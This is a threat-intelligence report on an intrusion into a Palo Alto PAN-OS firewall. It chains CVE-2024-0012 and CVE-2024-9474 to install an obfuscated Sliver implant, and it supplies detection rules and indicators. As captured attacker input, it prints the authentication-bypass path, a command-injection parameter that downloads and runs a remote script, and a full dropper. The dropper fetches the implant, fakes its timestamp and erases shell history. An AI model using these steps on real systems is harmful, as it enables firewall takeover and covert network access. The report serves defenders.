← All campaigns

Feng Shui: A Custom, Fully-Obfuscated Sliver Implant Deployed to a Palo Alto Firewall (CVE-2024-0012 + CVE-2024-9474)

Over two days we watched a single operator chain two PAN-OS vulnerabilities in one request to install a custom-compiled, fully-obfuscated Sliver implant that appears in no public malware database and beacons to domains absent from every threat feed. A step-by-step walkthrough of the intrusion, with deployable Sigma and YARA detection.

MITRE ATT&CK techniques T1190T1059.004T1543.002T1027T1071.001T1021T1036.005T1070.003T1070.006T1071.004T1572T1090.001T1003

Palo Alto Networks firewalls run an operating system called PAN-OS and sit between the internet and the corporate network. Administrators manage them through a web interface. When an attacker compromises a firewall, they do not just own one device. They own the choke point that all traffic flows through, and from there they can intercept data, pivot into internal systems, and maintain access even if endpoint security catches them elsewhere.

In 2024, a series of critical vulnerabilities in PAN-OS were added to the CISA Known Exploited Vulnerabilities catalog — including the two this operator chained together. All have patches available. Many organizations have not applied them.

Over two days in mid-2026, we watched a single operator work through a PAN-OS device. They started with reconnaissance, then chained two vulnerabilities in a single request to install a custom-compiled backdoor binary that does not appear in any public malware database, communicating with command-and-control domains that were not in any threat intelligence feed at the time of capture.

This is the step-by-step walkthrough of that operation.

Every payload, command string, and binary quoted below is captured attacker input, reproduced for analysis. None of it is an instruction to run.


Step 1: Reconnaissance

The operator visited the firewall's web management interface with a plain GET request, the equivalent of checking if the front door exists before trying keys. They returned several hours later for a second look.

The multi-hour gap between visits indicates a human operator making manual decisions, not an automated scanner. Automated tools revisit in seconds or minutes, not hours.

Step 2: Exploitation

The operator chained two vulnerabilities in a single request to gain full control of the device.

Part A: Authentication bypass (CVE-2024-0012). The operator appended .js.map to the end of a PHP file path:

/php/utils/createRemoteAppwebSession.php/watchTowr.js.map

PAN-OS's web server sees the .js.map suffix and treats the request as a static file (like a JavaScript source map), so it skips the authentication check. But the PHP interpreter still processes the underlying file. This technique was documented by the security research firm watchTowr.

Part B: Privilege escalation (CVE-2024-9474). The user parameter of the PHP file is passed directly into a shell command without sanitization. The operator injected a command inside backticks:

user=`curl -k hxxps://feng-shui[.]ua/b/in.js|bash`&userRole=superuser&remoteHost=&vsys=vsys1

This tells the firewall to download a script from the attacker's staging server and execute it immediately. One request, two vulnerabilities, full control.

Step 3: The dropper

The downloaded script (in.js, 303 bytes) is short and purposeful:

#!/bin/bash
unset HISTFILE
if [ ! -s /usr/bin/e3fsck ]; then
    wget --no-check-certificate \
      hxxps://feng-shui[.]ua/b/up.js \
      -O /usr/bin/e3fsck
fi
touch -r /usr/sbin/e3fsck /usr/bin/e3fsck || true
if ! pgrep -x e3fsck; then
    chmod 700 /usr/bin/e3fsck && \
      (/usr/bin/e3fsck &)
fi
echo "" > /root/.bash_history

What the attacker is doing:

  1. Covering their tracks. unset HISTFILE prevents the current shell session from saving commands. At the end, echo "" > /root/.bash_history wipes the history file. An investigator checking .bash_history would see nothing.

  2. Downloading the implant. The 11MB binary is saved as /usr/bin/e3fsck, a name that mimics the legitimate Linux filesystem-check utility (e2fsck / e3fsck). A system administrator scanning the process list would see "e3fsck" and likely assume it is a legitimate maintenance task.

  3. Faking the timestamp. touch -r copies the modification timestamp from the real filesystem check tool to the implant. The file blends into a directory listing sorted by date.

  4. Running it once. The script checks if the implant is already running before launching it, so re-running the exploit does not create duplicates.

Every line serves a purpose. Three separate anti-forensic measures, a convincing filename, and idempotent execution. This is not a hastily written dropper.

Step 3b: How the staging server protects the implant

The staging server (feng-shui[.]ua) uses an interesting anti-analysis technique: it blocks downloads from cloud provider IP ranges. Requests from AWS, GCP, Azure, and Cloudflare receive a 403 or connection timeout. The 303-byte dropper script downloads from any IP, but the 11MB implant binary only downloads from residential and corporate IPs.

This is a deliberate anti-analysis measure. It prevents automated malware sandboxes (which run on cloud VMs) from obtaining the binary, prevents threat intelligence crawlers from cataloging it, and prevents incident response teams from grabbing a copy using cloud-hosted forensic tools. The only way to get the binary is from the same type of IP address that a real compromised firewall would have.

Both files use .js extensions (in.js and up.js), served from a path called /b/. To a network defender reviewing proxy logs, these look like ordinary JavaScript assets. The URL hxxps://feng-shui[.]ua/b/up.js would not trigger most URL filtering rules.

Step 4: The implant

The downloaded file is an 11MB compiled Linux binary (not JavaScript despite the .js extension), compressed with UPX. When unpacked it expands to 33MB.

We identified it as Sliver, an open-source command-and-control framework. The operator compiled it with Sliver's --obfuscation flag, which randomizes all internal names. A strings search returns zero instances of "sliver", "bishopfox", "implant", or any identifying framework name.

We attributed it through the protobuf message structures, which survive obfuscation because they define the communication protocol between the implant and the C2 server (both sides must agree on the message format). Sliver- specific field names like BeaconRegister, PivotPeerEnvelope, WGSocksServersReq, and ExecuteAssemblyReq confirmed the framework.

What the implant can do on a victim network:

The implant has four communication methods built in: HTTPS (blends with normal web traffic), DNS (fallback when HTTPS is blocked), mutual TLS (direct encrypted connection), and WireGuard (full VPN tunnel). If a SOC team blocks one, the implant falls back to another.

From a compromised firewall, the operator can:

  • Run commands on the firewall and any system they can reach through it
  • Pivot into the internal network using the WireGuard tunnel and SOCKS proxy. Internal monitoring sees traffic coming from the firewall's own IP, a trusted device
  • Steal credentials and impersonate users for lateral movement into Windows environments
  • Run post-exploitation tooling in memory — execute .NET assemblies and spawn or sideload DLLs, leaving minimal disk traces
  • Add new capabilities after deployment by loading runtime extensions (including WebAssembly modules), without recompiling or redeploying the implant

What is NOT in the binary: No cryptominer, no ransomware, no wiper, no automated data exfiltration, no self-propagation. This is purely an access tool. The operator builds a foothold and decides what to do next based on what they find. This is consistent (moderate confidence) with an access broker — someone whose product is verified access to a corporate network — but that role is an assessment; the captured, reverse-engineered implant is the hard evidence.

Step 5: Confirmation

The operator sent the identical exploit payload several hours later. The dropper's idempotency check means this confirms the implant is running rather than reinstalling it.


The operator

The same IP and User-Agent recurred across the sessions over two days, with irregular multi-hour gaps roughly spanning 03:00-19:00 in a European time zone — consistent with a human operator working manually rather than an automated scanner. (The JA4 fingerprint is a common TLS-library signature shared by many unrelated scanners, so it is not a reliable operator identifier on its own.)

The source IP belongs to a residential ISP in Europe (not a VPS or bulletproof host), which is either a compromised home router used as a proxy or the operator's actual connection.

The operator reads public security research: the authentication bypass path includes watchTowr.js.map, directly referencing the firm that published the technique.

A note on CVE-2024-3400: CVE-2024-3400 (a separate PAN-OS GlobalProtect vulnerability) is mass-scanned across the internet by commodity tooling. We did not attribute any such activity to this operator and make no claim it is part of this campaign. It remains a vulnerability worth patching on its own merits.


Infrastructure

All characterization is from passive sources only; we did not probe the operator's infrastructure. Feed status verified July 2026 against VirusTotal, MalwareBazaar, and ThreatFox; we have since contributed these indicators to ThreatFox and OTX to aid defenders.

Domain Role Public-feed status
feng-shui[.]ua (Ukrainian TLD) Payload staging — hosts the dropper and 11 MB implant; blocks cloud-provider-IP downloads; not the C2 Capture-exclusive — 0 of 91 vendors flag it on VirusTotal; absent from ThreatFox at capture
secpopper[.]world Primary C2 — the implant beacons here, not to the staging server Capture-exclusive — 0 of 91 on VirusTotal; absent from ThreatFox at capture
catalapnews[.]today Fallback C2 — secondary beacon endpoint, resilience against domain takedown Capture-exclusive — 0 of 91 on VirusTotal; absent from ThreatFox at capture

The separation of staging infrastructure from C2 infrastructure is a deliberate tradecraft choice. Taking down the staging server does not disrupt already-deployed implants, because they beacon to different domains.


Timeline

When Event
2024 CVE-2024-0012 and CVE-2024-9474 added to CISA KEV
Day 1, early hours Operator visits management interface (reconnaissance, two visits hours apart)
Day 2, afternoon CVE-2024-0012 + CVE-2024-9474 succeeds. Implant deployed
Day 2, late afternoon Retry with identical payload (persistence confirmation)

What defenders should look for

Behavioral and host-integrity checks first (durable), then atomic indicators (cheap for the operator to change), then what will not work.

Behavioral

  1. PAN-OS management plane: POST to a path matching createRemoteAppwebSession.php/*.js.map with backtick or $() characters in the user field.
  2. Process monitoring: A process named e3fsck running from /usr/bin/ with permissions 700 and no parent process. The real utility runs from /usr/sbin/.
  3. Network egress: Outbound connections from a PAN-OS management interface to secpopper[.]world, catalapnews[.]today, or feng-shui[.]ua.
  4. File integrity: /usr/bin/e3fsck should not exist on PAN-OS. Any file in /usr/bin/ that is 11MB, has permissions 700, and shares a timestamp with a /usr/sbin/ binary warrants investigation.

Atomic indicators (see IOC CSV)

The staging and C2 domains (feng-shui[.]ua, secpopper[.]world, catalapnews[.]today), the implant path /usr/bin/e3fsck, and the sample hashes. These are cheap for the operator to rotate — the behavioral and file-integrity checks above are the durable detections. Full list in iocs-feng-shui.csv.

What will NOT detect this

  • Antivirus/EDR signatures. The binary is novel and obfuscated.
  • Threat feed lookups. All domains and hashes are clean.
  • PAN-OS authentication logs. CVE-2024-0012 bypasses authentication logging by making the request appear to be a static file fetch.
  • Automated sandbox fetch. The staging server blocks cloud IP downloads.
  • URL filtering. The .js extensions on a benign-looking domain pass through most category filters.

Sample hashes

Artifact SHA-256 Size Note
Dropper script 8f708114c42c3ee145d51b0e698f787d249ca86345e5916ac554e750d6eac0c2 303 B Capture-exclusive
Packed implant d9228d6c7d4d2557202a251e3b7018788cdb7ac6f64440774d96b7fdc3d2bac3 11 MB Capture-exclusive
Unpacked implant 70bf89c7580c7195407735cc8fa8b48ab17741036ffcd85704d6d4b600d824c8 33 MB Capture-exclusive

All three samples are exclusive to this capture: as of July 2026 none appear in VirusTotal or MalwareBazaar. There is no public sample of this implant.


Detection content

  • yara-feng-shui-sliver.yar — YARA rule for the Sliver implant
  • sigma-feng-shui-panos-exploit.yml — Sigma rule for the PAN-OS exploit chain
  • iocs-feng-shui.csv — indicators of compromise

Requesting indicators

A vetted-distribution package — the complete session capture, TLS fingerprints, the unpacked-implant analysis, and the full reverse-engineering notes behind this report — is available for law enforcement, vendor product-security teams, and enterprise defenders operating PAN-OS devices. Reference campaign tag feng-shui.

Contact: stateoftheattack.com


Recommendations

Patch. Apply the fixes for CVE-2024-0012 and CVE-2024-9474, the chain used in this intrusion. Both are KEV entries. Also patch CVE-2024-3400, a separate PAN-OS KEV vulnerability that is heavily scanned in the wild. PAN-OS management interfaces should not be directly internet-exposed.

Hunt. Search PAN-OS appliances for /usr/bin/e3fsck. Check for outbound DNS or HTTPS connections to secpopper[.]world or catalapnews[.]today.

Block. Block secpopper[.]world, catalapnews[.]today, and feng-shui[.]ua at DNS and egress. Deploy the YARA and Sigma rules.


Closing

This operator is methodical and well-equipped. They chain two vulnerabilities in a single request, read public security research to stay current, and compile custom Sliver binaries with full obfuscation. Their staging infrastructure blocks the automated analysis pipelines that most defenders rely on, and their C2 domains were invisible to every public threat feed at the time of capture.

The implant they deployed is not ransomware or a cryptominer. It is an access tool, designed to give the operator a persistent, stealthy foothold on a network firewall. From that position an operator can pivot into the internal network, intercept traffic, and steal credentials. Our assessment — moderate confidence — is that this profile fits an access broker, someone whose product is verified access to a corporate network; but the captured evidence is the implant, not the sale. The firewall is not the target. It is the door.

Indicators of Compromise

  • secpopper[.]world (primary C2)
  • catalapnews[.]today (fallback C2)
  • feng-shui[.]ua (payload staging; not C2)
  • hxxps://feng-shui[.]ua/b/in.js (dropper, 303 B)
  • hxxps://feng-shui[.]ua/b/up.js (packed implant, 11 MB)
  • /usr/bin/e3fsck (implant persistence path on PAN-OS)
  • SHA-256 8f708114c42c3ee145d51b0e698f787d249ca86345e5916ac554e750d6eac0c2 (dropper)
  • SHA-256 d9228d6c7d4d2557202a251e3b7018788cdb7ac6f64440774d96b7fdc3d2bac3 (packed implant)
  • SHA-256 70bf89c7580c7195407735cc8fa8b48ab17741036ffcd85704d6d4b600d824c8 (unpacked implant)

Detection Rules & IOCs

Three artifacts, layered from most durable to most perishable. The Sigma rule catches the exploit chain in web/proxy logs, the YARA rule matches the implant on disk via Sliver protobuf markers that survive obfuscation, and the IOC CSV carries the atomic indicators. The behavioral and file-integrity checks outlast any domain or hash the operator can rotate.

Sigma: PAN-OS exploit chain
sigma-feng-shui-panos-exploit.yml
DetectsThe CVE-2024-0012 + CVE-2024-9474 exploit chain (inbound)
DeployPAN-OS/web server logs, WAF, reverse proxy
When it firesWhen a request appends .js.map to createRemoteAppwebSession.php with backtick or $() injection in the user parameter
YARA: Sliver implant + dropper
yara-feng-shui-sliver.yar
DetectsThe obfuscated Sliver implant (unpacked and UPX-packed) and the dropper script
DeployEndpoint scanning, file integrity monitoring, malware sandbox
When it firesWhen the 11 MB implant lands on disk (matches Sliver protobuf RPC markers that cannot be obfuscated) or the sub-2 KB dropper appears
IOC CSV
iocs-feng-shui.csv
DetectsAtomic indicators — staging/C2 domains, staging URLs, sample hashes, implant path, exploit endpoint

In plain terms

  • Hunt PAN-OS appliances for a file at /usr/bin/e3fsck — it should not exist there. The real utility lives in /usr/sbin/.
  • Flag any process named e3fsck running from /usr/bin/ with permissions 700 and no parent process.
  • Alert on POSTs to createRemoteAppwebSession.php whose path ends in .js.map — that suffix is not a legitimate PAN-OS request pattern.
  • Block secpopper[.]world, catalapnews[.]today, and feng-shui[.]ua at DNS and egress; watch for outbound connections to them from a firewall's management interface.

Frequently asked

What is Feng Shui?

Over two days we watched a single operator chain two PAN-OS vulnerabilities in one request to install a custom-compiled, fully-obfuscated Sliver implant that appears in no public malware database and beacons to domains absent from every threat feed. A step-by-step walkthrough of the intrusion, with deployable Sigma and YARA detection.

What vulnerability does Feng Shui exploit?

Feng Shui is delivered by exploiting cve-2024-0012. The full exploitation chain is documented in the analysis above.

What are the indicators of compromise (IOCs) for Feng Shui?

Key indicators include secpopper[.]world (primary C2), catalapnews[.]today (fallback C2), feng-shui[.]ua (payload staging; not C2), hxxps://feng-shui[.]ua/b/in.js (dropper, 303 B), hxxps://feng-shui[.]ua/b/up.js (packed implant, 11 MB), /usr/bin/e3fsck (implant persistence path on PAN-OS), and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.

How do I detect Feng Shui?

Feng Shui can be detected with Sigma: PAN-OS exploit chain, YARA: Sliver implant + dropper, IOC CSV — all downloadable on this page. Three artifacts, layered from most durable to most perishable. The Sigma rule catches the exploit chain in web/proxy logs, the YARA rule matches the implant on disk via Sliver protobuf markers that survive obfuscation, and the IOC CSV carries the atomic indicators. The behavioral and file-integrity checks outlast any domain or hash the operator can rotate.

What MITRE ATT&CK techniques does Feng Shui use?

Feng Shui maps to T1190, T1059.004, T1543.002, T1027, T1071.001, T1021, T1036.005, T1070.003, T1070.006, T1071.004, T1572, T1090.001, T1003.

External references

These indicators are published to the threat-intelligence community. Verify or pull them from:

Browse by
PAN-OSCVE-2024-0012CVE-2024-9474CVE-2024-3400sliverupxwatchtowr-cve-2024-0012-bypasshistory-suppression:HISTFILEtimestomp:touch-rmasquerade-as-system-binaryexploit-escalation:try-newer-then-pivotunknown (intent unproven)
feng-shui
Subscribe for new analysis Compare with another campaign